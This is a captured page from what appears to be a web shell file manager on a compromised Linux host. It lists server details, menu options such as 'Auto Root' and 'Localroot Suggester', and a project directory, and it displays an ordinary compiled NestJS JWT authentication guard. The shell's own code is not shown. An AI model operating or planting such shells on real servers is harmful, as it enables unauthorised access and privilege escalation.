Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.217.69
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
pilasate /
test /
dist /
common /
guards /
Delete
Unzip
Name
Size
Permission
Date
Action
jwt-auth.guard.d.ts
585
B
-rw-rw-rw-
2025-03-22 07:46
jwt-auth.guard.js
3.06
KB
-rw-rw-rw-
2025-03-22 07:46
jwt-auth.guard.js.map
1.58
KB
-rw-rw-rw-
2025-03-22 07:46
roles.guard.d.ts
427
B
-rw-rw-rw-
2025-03-22 07:46
roles.guard.js
1.76
KB
-rw-rw-rw-
2025-03-22 07:46
roles.guard.js.map
760
B
-rw-rw-rw-
2025-03-22 07:46
Save
Rename
"use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; var __param = (this && this.__param) || function (paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } }; Object.defineProperty(exports, "__esModule", { value: true }); exports.JwtAuthGuard = void 0; const common_1 = require("@nestjs/common"); const passport_1 = require("@nestjs/passport"); const core_1 = require("@nestjs/core"); const auth_service_1 = require("../../modules/auth/auth.service"); const logger_utils_1 = require("../utils/logger.utils"); const public_decorator_1 = require("../decorators/public.decorator"); let JwtAuthGuard = class JwtAuthGuard extends (0, passport_1.AuthGuard)('jwt') { authService; reflector; constructor(authService, reflector) { super(); this.authService = authService; this.reflector = reflector; } async canActivate(context) { const isPublic = this.reflector.getAllAndOverride(public_decorator_1.IS_PUBLIC_KEY, [ context.getHandler(), context.getClass(), ]); if (isPublic) { return true; } const can = await super.canActivate(context); if (!can) return false; const request = context.switchToHttp().getRequest(); const token = request.headers.authorization?.replace('Bearer ', ''); if (!token) { throw new common_1.UnauthorizedException('Token not provided'); } const isBlacklisted = await this.authService.isTokenBlacklisted(token); if (isBlacklisted) { throw new common_1.UnauthorizedException('Token has been invalidated'); } return true; } handleRequest(err, user, info) { if (err || !user) { (0, logger_utils_1.logError)(info || err, 'JWT Authentication Failed'); throw err || new common_1.UnauthorizedException('Unauthorized'); } (0, logger_utils_1.logInfo)(`An Authenticated user: ${JSON.stringify(user)}`, 'JWT Guard'); return user; } }; exports.JwtAuthGuard = JwtAuthGuard; exports.JwtAuthGuard = JwtAuthGuard = __decorate([ (0, common_1.Injectable)(), __param(0, (0, common_1.Inject)(auth_service_1.AuthService)), __metadata("design:paramtypes", [auth_service_1.AuthService, core_1.Reflector]) ], JwtAuthGuard); //# sourceMappingURL=jwt-auth.guard.js.map